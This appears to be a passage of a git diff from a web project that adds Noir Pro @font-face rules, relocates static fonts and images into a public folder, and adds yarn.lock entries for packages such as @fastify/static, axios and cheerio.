+	font-family: Noir;
+	font-weight: 200;
+	font-display: swap;
+	src:
+		url('/static/fonts/NoirPro-Light.woff2') format('woff2'),
+		url('/static/fonts/NoirPro-Light.woff') format('woff'),
+		url('/static/fonts/NoirPro-Light.ttf') format('truetype');
+}
+
+@font-face {
+	font-family: Noir;
+	font-weight: 200;
+	font-style: italic;
+	font-display: swap;
+	src:
+		url('/static/fonts/NoirPro-LightItalic.woff2') format('woff2'),
+		url('/static/fonts/NoirPro-LightItalic.woff') format('woff'),
+		url('/static/fonts/NoirPro-LightItalic.ttf') format('truetype');
+}
+
+@font-face {
+	font-family: Noir;
+	font-weight: 500;
+	font-display: swap;
+	src:
+		url('/static/fonts/NoirPro-Medium.woff2') format('woff2'),
+		url('/static/fonts/NoirPro-Medium.woff') format('woff'),
+		url('/static/fonts/NoirPro-Medium.ttf') format('truetype');
+}
+
+@font-face {
+	font-family: Noir;
+	font-weight: 500;
+	font-style: italic;
+	font-display: swap;
+	src:
+		url('/static/fonts/NoirPro-MediumItalic.woff2') format('woff2'),
+		url('/static/fonts/NoirPro-MediumItalic.woff') format('woff'),
+		url('/static/fonts/NoirPro-MediumItalic.ttf') format('truetype');
+}
+
+@font-face {
+	font-family: Noir;
+	font-weight: 600;
+	font-display: swap;
+	src:
+		url('/static/fonts/NoirPro-SemiBold.woff2') format('woff2'),
+		url('/static/fonts/NoirPro-SemiBold.woff') format('woff'),
+		url('/static/fonts/NoirPro-SemiBold.ttf') format('truetype');
+}
+
+@font-face {
+	font-family: Noir;
+	font-weight: 600;
+	font-style: italic;
+	font-display: swap;
+	src:
+		url('/static/fonts/NoirPro-SemiBoldItalic.woff2') format('woff2'),
+		url('/static/fonts/NoirPro-SemiBoldItalic.woff') format('woff'),
+		url('/static/fonts/NoirPro-SemiBoldItalic.ttf') format('truetype');
+}
+
+@font-face {
+	font-family: Noir;
+	font-weight: 700;
+	font-display: swap;
+	src:
+		url('/static/fonts/NoirPro-Bold.woff2') format('woff2'),
+		url('/static/fonts/NoirPro-Bold.woff') format('woff'),
+		url('/static/fonts/NoirPro-Bold.ttf') format('truetype');
+}
+
+@font-face {
+	font-family: Noir;
+	font-weight: 700;
+	font-style: italic;
+	font-display: swap;
+	src:
+		url('/static/fonts/NoirPro-BoldItalic.woff2') format('woff2'),
+		url('/static/fonts/NoirPro-BoldItalic.woff') format('woff'),
+		url('/static/fonts/NoirPro-BoldItalic.ttf') format('truetype');
+}
+

BIN
public/static/fonts/inter-regular.woff2


BIN
public/static/fonts/inter-semibold.woff2


BIN
public/static/fonts/noirpro-italic.otf


BIN
public/static/fonts/noirpro-regular.otf


BIN
public/static/fonts/noirpro-semibold.otf


BIN
public/static/fonts/noirpro-semibolditalic.otf


+ 0 - 0
static/images/app-android-en.svg → public/static/images/app-android-en.svg


+ 0 - 0
static/images/homepage/iphone-lrg-en.png → public/static/images/homepage/iphone-lrg-en.png


BIN
public/static/images/homepage/iphone-xl-en.png


+ 0 - 0
static/images/homepage/offer-car.jpg → public/static/images/homepage/offer-car.jpg


+ 0 - 0
static/images/homepage/offer-eggs.jpg → public/static/images/homepage/offer-eggs.jpg


+ 0 - 0
static/images/homepage/offer-makeup.jpg → public/static/images/homepage/offer-makeup.jpg


+ 0 - 0
static/images/homepage/offer-strawberry.jpg → public/static/images/homepage/offer-strawberry.jpg


+ 0 - 0
static/images/homepage/stores-background.png → public/static/images/homepage/stores-background.png


+ 0 - 0
static/images/sprite-main-ltd6s2ce.svg → public/static/images/sprite-main-ltd6s2ce.svg


Fișier diff suprimat deoarece este prea mare
+ 1 - 0
public/static/js/jquery-3.7.1.min.js


Fișier diff suprimat deoarece este prea mare
+ 25 - 0
public/static/svg/pc-id.svg


+ 0 - 0
static/svg/sprite-banners.svg → public/static/svg/sprite-banners.svg


Fișier diff suprimat deoarece este prea mare
+ 0 - 0
public/static/svg/sprite-icons.svg


BIN
static/.DS_Store


+ 372 - 8
yarn.lock

@@ -2,6 +2,11 @@
 # yarn lockfile v1
 
 
+"@fastify/accept-negotiator@^1.0.0":
+  version "1.1.0"
+  resolved "https://registry.npmmirror.com/@fastify/accept-negotiator/-/accept-negotiator-1.1.0.tgz#c1c66b3b771c09742a54dd5bc87c582f6b0630ff"
+  integrity sha512-OIHZrb2ImZ7XG85HXOONLcJWGosv7sIvM2ifAPQVhg9Lv7qdmMBNVaai4QTdyuaqbKM5eO6sLSQOYI7wEQeCJQ==
+
 "@fastify/ajv-compiler@^3.5.0":
   version "3.5.0"
   resolved "https://registry.npmmirror.com/@fastify/ajv-compiler/-/ajv-compiler-3.5.0.tgz#459bff00fefbf86c96ec30e62e933d2379e46670"
@@ -30,6 +35,51 @@
   dependencies:
     fast-deep-equal "^3.1.3"
 
+"@fastify/send@^2.0.0":
+  version "2.1.0"
+  resolved "https://registry.npmmirror.com/@fastify/send/-/send-2.1.0.tgz#1aa269ccb4b0940a2dadd1f844443b15d8224ea0"
+  integrity sha512-yNYiY6sDkexoJR0D8IDy3aRP3+L4wdqCpvx5WP+VtEU58sn7USmKynBzDQex5X42Zzvw2gNzzYgP90UfWShLFA==
+  dependencies:
+    "@lukeed/ms" "^2.0.1"
+    escape-html "~1.0.3"
+    fast-decode-uri-component "^1.0.1"
+    http-errors "2.0.0"
+    mime "^3.0.0"
+
+"@fastify/static@^7.0.1":
+  version "7.0.1"
+  resolved "https://registry.npmmirror.com/@fastify/static/-/static-7.0.1.tgz#eab983cca87b69c7ed0131af61b3b77da351a3f2"
+  integrity sha512-i1p/nELMknAisNfnjo7yhfoUOdKzA+n92QaMirv2NkZrJ1Wl12v2nyTYlDwPN8XoStMBAnRK/Kx6zKmfrXUPXw==
+  dependencies:
+    "@fastify/accept-negotiator" "^1.0.0"
+    "@fastify/send" "^2.0.0"
+    content-disposition "^0.5.3"
+    fastify-plugin "^4.0.0"
+    fastq "^1.17.0"
+    glob "^10.3.4"
+
+"@isaacs/cliui@^8.0.2":
+  version "8.0.2"
+  resolved "https://registry.npmmirror.com/@isaacs/cliui/-/cliui-8.0.2.tgz#b37667b7bc181c168782259bab42474fbf52b550"
+  integrity sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==
+  dependencies:
+    string-width "^5.1.2"
+    string-width-cjs "npm:string-width@^4.2.0"
+    strip-ansi "^7.0.1"
+    strip-ansi-cjs "npm:strip-ansi@^6.0.1"
+    wrap-ansi "^8.1.0"
+    wrap-ansi-cjs "npm:wrap-ansi@^7.0.0"
+
+"@lukeed/ms@^2.0.1":
+  version "2.0.2"
+  resolved "https://registry.npmmirror.com/@lukeed/ms/-/ms-2.0.2.tgz#07f09e59a74c52f4d88c6db5c1054e819538e2a8"
+  integrity sha512-9I2Zn6+NJLfaGoz9jN3lpwDgAYvfGeNYdbAIjJOqzs4Tpc+VU3Jqq4IofSUBKajiDS8k9fZIg18/z13mpk1bsA==
+
+"@pkgjs/parseargs@^0.11.0":
+  version "0.11.0"
+  resolved "https://registry.npmmirror.com/@pkgjs/parseargs/-/parseargs-0.11.0.tgz#a77ea742fab25775145434eb1d2328cf5013ac33"
+  integrity sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==
+
 "@types/debug@^4.1.8":
   version "4.1.12"
   resolved "https://registry.npmmirror.com/@types/debug/-/debug-4.1.12.tgz#a155f21690871953410df4b6b6f53187f0500917"
@@ -123,7 +173,7 @@ ansi-regex@^6.0.1:
   resolved "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-6.0.1.tgz#3183e38fae9a65d7cb5e53945cd5897d0260a06a"
   integrity sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==
 
-ansi-styles@^4.1.0:
+ansi-styles@^4.0.0, ansi-styles@^4.1.0:
   version "4.3.0"
   resolved "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937"
   integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==
@@ -150,6 +200,11 @@ arg@5.0.2:
   resolved "https://registry.npmmirror.com/arg/-/arg-5.0.2.tgz#c81433cc427c92c4dcf4865142dbca6f15acd59c"
   integrity sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==
 
+asynckit@^0.4.0:
+  version "0.4.0"
+  resolved "https://registry.npmmirror.com/asynckit/-/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79"
+  integrity sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==
+
 atomic-sleep@^1.0.0:
   version "1.0.0"
   resolved "https://registry.npmmirror.com/atomic-sleep/-/atomic-sleep-1.0.0.tgz#eb85b77a601fc932cfe432c5acd364a9e2c9075b"
@@ -165,6 +220,15 @@ avvio@^8.3.0:
     debug "^4.0.0"
     fastq "^1.17.1"
 
+axios@^1.6.7:
+  version "1.6.7"
+  resolved "https://registry.npmmirror.com/axios/-/axios-1.6.7.tgz#7b48c2e27c96f9c68a2f8f31e2ab19f59b06b0a7"
+  integrity sha512-/hDJGff6/c7u0hDkvkGxR/oy6CbCs8ziCsC7SqmhjfozqiJGc8Z11wrv9z9lYfY4K8l+H9TpjcMDX0xOZmx+RA==
+  dependencies:
+    follow-redirects "^1.15.4"
+    form-data "^4.0.0"
+    proxy-from-env "^1.1.0"
+
 balanced-match@^1.0.0:
   version "1.0.2"
   resolved "https://registry.npmmirror.com/balanced-match/-/balanced-match-1.0.2.tgz#e83e3a7e3f300b34cb9d87f615fa0cbf357690ee"
@@ -175,6 +239,11 @@ base64-js@^1.3.1:
   resolved "https://registry.npmmirror.com/base64-js/-/base64-js-1.5.1.tgz#1b1b440160a5bf7ad40b650f095963481903930a"
   integrity sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==
 
+boolbase@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmmirror.com/boolbase/-/boolbase-1.0.0.tgz#68dff5fbe60c51eb37725ea9e3ed310dcc1e776e"
+  integrity sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==
+
 boxen@7.0.0:
   version "7.0.0"
   resolved "https://registry.npmmirror.com/boxen/-/boxen-7.0.0.tgz#9e5f8c26e716793fc96edcf7cf754cdf5e3fbf32"
@@ -197,6 +266,13 @@ brace-expansion@^1.1.7:
     balanced-match "^1.0.0"
     concat-map "0.0.1"
 
+brace-expansion@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-2.0.1.tgz#1edc459e0f0c548486ecf9fc99f2221364b9a0ae"
+  integrity sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==
+  dependencies:
+    balanced-match "^1.0.0"
+
 buffer@^6.0.3:
   version "6.0.3"
   resolved "https://registry.npmmirror.com/buffer/-/buffer-6.0.3.tgz#2ace578459cc8fbe2a70aaa8f52ee63b6a74c6c6"
@@ -240,6 +316,31 @@ chalk@^5.0.1:
   resolved "https://registry.npmmirror.com/chalk/-/chalk-5.3.0.tgz#67c20a7ebef70e7f3970a01f90fa210cb6860385"
   integrity sha512-dLitG79d+GV1Nb/VYcCDFivJeK1hiukt9QjRNVOsUtTy1rR1YJsmpGGTZ3qJos+uw7WmWF4wUwBd9jxjocFC2w==
 
+cheerio-select@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.npmmirror.com/cheerio-select/-/cheerio-select-2.1.0.tgz#4d8673286b8126ca2a8e42740d5e3c4884ae21b4"
+  integrity sha512-9v9kG0LvzrlcungtnJtpGNxY+fzECQKhK4EGJX2vByejiMX84MFNQw4UxPJl3bFbTMw+Dfs37XaIkCwTZfLh4g==
+  dependencies:
+    boolbase "^1.0.0"
+    css-select "^5.1.0"
+    css-what "^6.1.0"
+    domelementtype "^2.3.0"
+    domhandler "^5.0.3"
+    domutils "^3.0.1"
+
+cheerio@^1.0.0-rc.12:
+  version "1.0.0-rc.12"
+  resolved "https://registry.npmmirror.com/cheerio/-/cheerio-1.0.0-rc.12.tgz#788bf7466506b1c6bf5fae51d24a2c4d62e47683"
+  integrity sha512-VqR8m68vM46BNnuZ5NtnGBKIE/DfN0cRIzg9n40EIq9NOv90ayxLBXA8fXC5gquFRGJSTRqBq25Jt2ECLR431Q==
+  dependencies:
+    cheerio-select "^2.1.0"
+    dom-serializer "^2.0.0"
+    domhandler "^5.0.3"
+    domutils "^3.0.1"
+    htmlparser2 "^8.0.1"
+    parse5 "^7.0.0"
+    parse5-htmlparser2-tree-adapter "^7.0.0"
+
 cli-boxes@^3.0.0:
   version "3.0.0"
   resolved "https://registry.npmmirror.com/cli-boxes/-/cli-boxes-3.0.0.tgz#71a10c716feeba005e4504f36329ef0b17cf3145"
@@ -266,6 +367,13 @@ color-name@~1.1.4:
   resolved "https://registry.npmmirror.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
   integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
 
+combined-stream@^1.0.8:
+  version "1.0.8"
+  resolved "https://registry.npmmirror.com/combined-stream/-/combined-stream-1.0.8.tgz#c3d45a8b34fd730631a110a8a2520682b31d5a7f"
+  integrity sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==
+  dependencies:
+    delayed-stream "~1.0.0"
+
 compressible@~2.0.16:
   version "2.0.18"
   resolved "https://registry.npmmirror.com/compressible/-/compressible-2.0.18.tgz#af53cca6b070d4c3c0750fbd77286a6d7cc46fba"
@@ -296,12 +404,19 @@ content-disposition@0.5.2:
   resolved "https://registry.npmmirror.com/content-disposition/-/content-disposition-0.5.2.tgz#0cf68bb9ddf5f2be7961c3a85178cb85dba78cb4"
   integrity sha512-kRGRZw3bLlFISDBgwTSA1TMBFN6J6GWDeubmDE3AF+3+yXL8hTWv8r5rkLbqYXY4RjPk/EzHnClI3zQf1cFmHA==
 
+content-disposition@^0.5.3:
+  version "0.5.4"
+  resolved "https://registry.npmmirror.com/content-disposition/-/content-disposition-0.5.4.tgz#8b82b4efac82512a02bb0b1dcec9d2c5e8eb5bfe"
+  integrity sha512-FveZTNuGw04cxlAiWbzi6zTAL/lhehaWbTtgluJh4/E95DqMwTmha3KZN1aAWA8cFIhHzMZUvLevkw5Rqk+tSQ==
+  dependencies:
+    safe-buffer "5.2.1"
+
 cookie@^0.6.0:
   version "0.6.0"
   resolved "https://registry.npmmirror.com/cookie/-/cookie-0.6.0.tgz#2798b04b071b0ecbff0dbb62a505a8efa4e19051"
   integrity sha512-U71cyTamuh1CRNCfpGY6to28lxvNwPG4Guz/EVjgf3Jmzv0vlDp1atT9eS5dDjMYHucpHbWns6Lwf3BKz6svdw==
 
-cross-spawn@^7.0.3:
+cross-spawn@^7.0.0, cross-spawn@^7.0.3:
   version "7.0.3"
   resolved "https://registry.npmmirror.com/cross-spawn/-/cross-spawn-7.0.3.tgz#f73a85b9d5d41d045551c177e2882d4ac85728a6"
   integrity sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==
@@ -310,6 +425,22 @@ cross-spawn@^7.0.3:
     shebang-command "^2.0.0"
     which "^2.0.1"
 
+css-select@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.npmmirror.com/css-select/-/css-select-5.1.0.tgz#b8ebd6554c3637ccc76688804ad3f6a6fdaea8a6"
+  integrity sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==
+  dependencies:
+    boolbase "^1.0.0"
+    css-what "^6.1.0"
+    domhandler "^5.0.2"
+    domutils "^3.0.1"
+    nth-check "^2.0.1"
+
+css-what@^6.1.0:
+  version "6.1.0"
+  resolved "https://registry.npmmirror.com/css-what/-/css-what-6.1.0.tgz#fb5effcf76f1ddea2c81bdfaa4de44e79bac70f4"
+  integrity sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==
+
 debug@2.6.9:
   version "2.6.9"
   resolved "https://registry.npmmirror.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f"
@@ -329,11 +460,51 @@ deep-extend@^0.6.0:
   resolved "https://registry.npmmirror.com/deep-extend/-/deep-extend-0.6.0.tgz#c4fa7c95404a17a9c3e8ca7e1537312b736330ac"
   integrity sha512-LOHxIOaPYdHlJRtCQfDIVZtfw/ufM8+rVj649RIHzcm/vGwQRXFt6OPqIFWsm2XEMrNIEtWR64sY1LEKD2vAOA==
 
+delayed-stream@~1.0.0:
+  version "1.0.0"
+  resolved "https://registry.npmmirror.com/delayed-stream/-/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619"
+  integrity sha512-ZySD7Nf91aLB0RxL4KGrKHBXl7Eds1DAmEdcoVawXnLD7SDhpNgtuII2aAkg7a7QS41jxPSZ17p4VdGnMHk3MQ==
+
 denque@^2.1.0:
   version "2.1.0"
   resolved "https://registry.npmmirror.com/denque/-/denque-2.1.0.tgz#e93e1a6569fb5e66f16a3c2a2964617d349d6ab1"
   integrity sha512-HVQE3AAb/pxF8fQAoiqpvg9i3evqug3hoiwakOyZAwJm+6vZehbkYXZ0l4JxS+I3QxM97v5aaRNhj8v5oBhekw==
 
+depd@2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmmirror.com/depd/-/depd-2.0.0.tgz#b696163cc757560d09cf22cc8fad1571b79e76df"
+  integrity sha512-g7nH6P6dyDioJogAAGprGpCtVImJhpPk/roCzdb3fIh61/s/nPsfR6onyMwkCAR/OlC3yBC0lESvUoQEAssIrw==
+
+dom-serializer@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmmirror.com/dom-serializer/-/dom-serializer-2.0.0.tgz#e41b802e1eedf9f6cae183ce5e622d789d7d8e53"
+  integrity sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==
+  dependencies:
+    domelementtype "^2.3.0"
+    domhandler "^5.0.2"
+    entities "^4.2.0"
+
+domelementtype@^2.3.0:
+  version "2.3.0"
+  resolved "https://registry.npmmirror.com/domelementtype/-/domelementtype-2.3.0.tgz#5c45e8e869952626331d7aab326d01daf65d589d"
+  integrity sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==
+
+domhandler@^5.0.2, domhandler@^5.0.3:
+  version "5.0.3"
+  resolved "https://registry.npmmirror.com/domhandler/-/domhandler-5.0.3.tgz#cc385f7f751f1d1fc650c21374804254538c7d31"
+  integrity sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==
+  dependencies:
+    domelementtype "^2.3.0"
+
+domutils@^3.0.1:
+  version "3.1.0"
+  resolved "https://registry.npmmirror.com/domutils/-/domutils-3.1.0.tgz#c47f551278d3dc4b0b1ab8cbb42d751a6f0d824e"
+  integrity sha512-H78uMmQtI2AhgDJjWeQmHwJJ2bLPD3GMmO7Zja/ZZh84wkm+4ut+IUnUdRa8uCGX88DiVx1j6FRe1XfxEgjEZA==
+  dependencies:
+    dom-serializer "^2.0.0"
+    domelementtype "^2.3.0"
+    domhandler "^5.0.3"
+
 dottie@^2.0.6:
   version "2.0.6"
   resolved "https://registry.npmmirror.com/dottie/-/dottie-2.0.6.tgz#34564ebfc6ec5e5772272d466424ad5b696484d4"
@@ -354,6 +525,16 @@ emoji-regex@^9.2.2:
   resolved "https://registry.npmmirror.com/emoji-regex/-/emoji-regex-9.2.2.tgz#840c8803b0d8047f4ff0cf963176b32d4ef3ed72"
   integrity sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==
 
+entities@^4.2.0, entities@^4.4.0:
+  version "4.5.0"
+  resolved "https://registry.npmmirror.com/entities/-/entities-4.5.0.tgz#5d268ea5e7113ec74c4d033b79ea5a35a488fb48"
+  integrity sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==
+
+escape-html@~1.0.3:
+  version "1.0.3"
+  resolved "https://registry.npmmirror.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988"
+  integrity sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==
+
 event-target-shim@^5.0.0:
   version "5.0.1"
   resolved "https://registry.npmmirror.com/event-target-shim/-/event-target-shim-5.0.1.tgz#5d4d3ebdf9583d63a5333ce2deb7480ab2b05789"
@@ -431,6 +612,11 @@ fast-url-parser@1.1.3:
   dependencies:
     punycode "^1.3.2"
 
+fastify-plugin@^4.0.0:
+  version "4.5.1"
+  resolved "https://registry.npmmirror.com/fastify-plugin/-/fastify-plugin-4.5.1.tgz#44dc6a3cc2cce0988bc09e13f160120bbd91dbee"
+  integrity sha512-stRHYGeuqpEZTL1Ef0Ovr2ltazUT9g844X5z/zEBFLG8RYlpDiOCIG+ATvYEp+/zmc7sN29mcIMp8gvYplYPIQ==
+
 fastify@^4.26.2:
   version "4.26.2"
   resolved "https://registry.npmmirror.com/fastify/-/fastify-4.26.2.tgz#9389595c46e9f4648de5bf8175e750bf32fed5a1"
@@ -453,7 +639,7 @@ fastify@^4.26.2:
     semver "^7.5.4"
     toad-cache "^3.3.0"
 
-fastq@^1.17.1:
+fastq@^1.17.0, fastq@^1.17.1:
   version "1.17.1"
   resolved "https://registry.npmmirror.com/fastq/-/fastq-1.17.1.tgz#2a523f07a4e7b1e81a42b91b8bf2254107753b47"
   integrity sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==
@@ -469,6 +655,28 @@ find-my-way@^8.0.0:
     fast-querystring "^1.0.0"
     safe-regex2 "^2.0.0"
 
+follow-redirects@^1.15.4:
+  version "1.15.5"
+  resolved "https://registry.npmmirror.com/follow-redirects/-/follow-redirects-1.15.5.tgz#54d4d6d062c0fa7d9d17feb008461550e3ba8020"
+  integrity sha512-vSFWUON1B+yAw1VN4xMfxgn5fTUiaOzAJCKBwIIgT/+7CuGy9+r+5gITvP62j3RmaD5Ph65UaERdOSRGUzZtgw==
+
+foreground-child@^3.1.0:
+  version "3.1.1"
+  resolved "https://registry.npmmirror.com/foreground-child/-/foreground-child-3.1.1.tgz#1d173e776d75d2772fed08efe4a0de1ea1b12d0d"
+  integrity sha512-TMKDUnIte6bfb5nWv7V/caI169OHgvwjb7V4WkeUvbQQdjr5rWKqHFiKWb/fcOwB+CzBT+qbWjvj+DVwRskpIg==
+  dependencies:
+    cross-spawn "^7.0.0"
+    signal-exit "^4.0.1"
+
+form-data@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.npmmirror.com/form-data/-/form-data-4.0.0.tgz#93919daeaf361ee529584b9b31664dc12c9fa452"
+  integrity sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==
+  dependencies:
+    asynckit "^0.4.0"
+    combined-stream "^1.0.8"
+    mime-types "^2.1.12"
+
 forwarded@0.2.0:
   version "0.2.0"
   resolved "https://registry.npmmirror.com/forwarded/-/forwarded-0.2.0.tgz#2269936428aad4c15c7ebe9779a84bf0b2a81811"
@@ -491,11 +699,43 @@ get-stream@^6.0.0:
   resolved "https://registry.npmmirror.com/get-stream/-/get-stream-6.0.1.tgz#a262d8eef67aced57c2852ad6167526a43cbf7b7"
   integrity sha512-ts6Wi+2j3jQjqi70w5AlN8DFnkSwC+MqmxEzdEALB2qXZYV3X/b1CTfgPLGJNMeAWxdPfU8FO1ms3NUfaHCPYg==
 
+glob@^10.3.4:
+  version "10.3.10"
+  resolved "https://registry.npmmirror.com/glob/-/glob-10.3.10.tgz#0351ebb809fd187fe421ab96af83d3a70715df4b"
+  integrity sha512-fa46+tv1Ak0UPK1TOy/pZrIybNNt4HCv7SDzwyfiOZkvZLEbjsZkJBPtDHVshZjbecAoAGSC20MjLDG/qr679g==
+  dependencies:
+    foreground-child "^3.1.0"
+    jackspeak "^2.3.5"
+    minimatch "^9.0.1"
+    minipass "^5.0.0 || ^6.0.2 || ^7.0.0"
+    path-scurry "^1.10.1"
+
 has-flag@^4.0.0:
   version "4.0.0"
   resolved "https://registry.npmmirror.com/has-flag/-/has-flag-4.0.0.tgz#944771fd9c81c81265c4d6941860da06bb59479b"
   integrity sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==
 
+htmlparser2@^8.0.1:
+  version "8.0.2"
+  resolved "https://registry.npmmirror.com/htmlparser2/-/htmlparser2-8.0.2.tgz#f002151705b383e62433b5cf466f5b716edaec21"
+  integrity sha512-GYdjWKDkbRLkZ5geuHs5NY1puJ+PXwP7+fHPRz06Eirsb9ugf6d8kkXav6ADhcODhFFPMIXyxkxSuMf3D6NCFA==
+  dependencies:
+    domelementtype "^2.3.0"
+    domhandler "^5.0.3"
+    domutils "^3.0.1"
+    entities "^4.4.0"
+
+http-errors@2.0.0:
+  version "2.0.0"
+  resolved "https://registry.npmmirror.com/http-errors/-/http-errors-2.0.0.tgz#b7774a1486ef73cf7667ac9ae0858c012c57b9d3"
+  integrity sha512-FtwrG/euBzaEjYeRqOgly7G0qviiXoJWnvEH2Z1plBdXgbyjv34pHTSb9zoeHMyDy33+DWy5Wt9Wo+TURtOYSQ==
+  dependencies:
+    depd "2.0.0"
+    inherits "2.0.4"
+    setprototypeof "1.2.0"
+    statuses "2.0.1"
+    toidentifier "1.0.1"
+
 human-signals@^2.1.0:
   version "2.1.0"
   resolved "https://registry.npmmirror.com/human-signals/-/human-signals-2.1.0.tgz#dc91fcba42e4d06e4abaed33b3e7a3c02f514ea0"
@@ -518,6 +758,11 @@ inflection@^1.13.4:
   resolved "https://registry.npmmirror.com/inflection/-/inflection-1.13.4.tgz#65aa696c4e2da6225b148d7a154c449366633a32"
   integrity sha512-6I/HUDeYFfuNCVS3td055BaXBwKYuzw7K3ExVMStBowKo9oOAMJIXIHvdyR3iboTCp1b+1i5DSkIZTcwIktuDw==
 
+inherits@2.0.4:
+  version "2.0.4"
+  resolved "https://registry.npmmirror.com/inherits/-/inherits-2.0.4.tgz#0fa2c64f932917c3433a0ded55363aae37416b7c"
+  integrity sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==
+
 ini@~1.3.0:
   version "1.3.8"
   resolved "https://registry.npmmirror.com/ini/-/ini-1.3.8.tgz#a29da425b48806f34767a4efce397269af28432c"
@@ -565,6 +810,15 @@ isexe@^2.0.0:
   resolved "https://registry.npmmirror.com/isexe/-/isexe-2.0.0.tgz#e8fbf374dc556ff8947a10dcb0572d633f2cfa10"
   integrity sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==
 
+jackspeak@^2.3.5:
+  version "2.3.6"
+  resolved "https://registry.npmmirror.com/jackspeak/-/jackspeak-2.3.6.tgz#647ecc472238aee4b06ac0e461acc21a8c505ca8"
+  integrity sha512-N3yCS/NegsOBokc8GAdM8UcmfsKiSS8cipheD/nivzr700H+nsMOxJjQnvwOcRYVuFkdH0wGUvW2WbXGmrZGbQ==
+  dependencies:
+    "@isaacs/cliui" "^8.0.2"
+  optionalDependencies:
+    "@pkgjs/parseargs" "^0.11.0"
+
 json-schema-ref-resolver@^1.0.1:
   version "1.0.1"
   resolved "https://registry.npmmirror.com/json-schema-ref-resolver/-/json-schema-ref-resolver-1.0.1.tgz#6586f483b76254784fc1d2120f717bdc9f0a99bf"
@@ -613,6 +867,11 @@ lru-cache@^8.0.0:
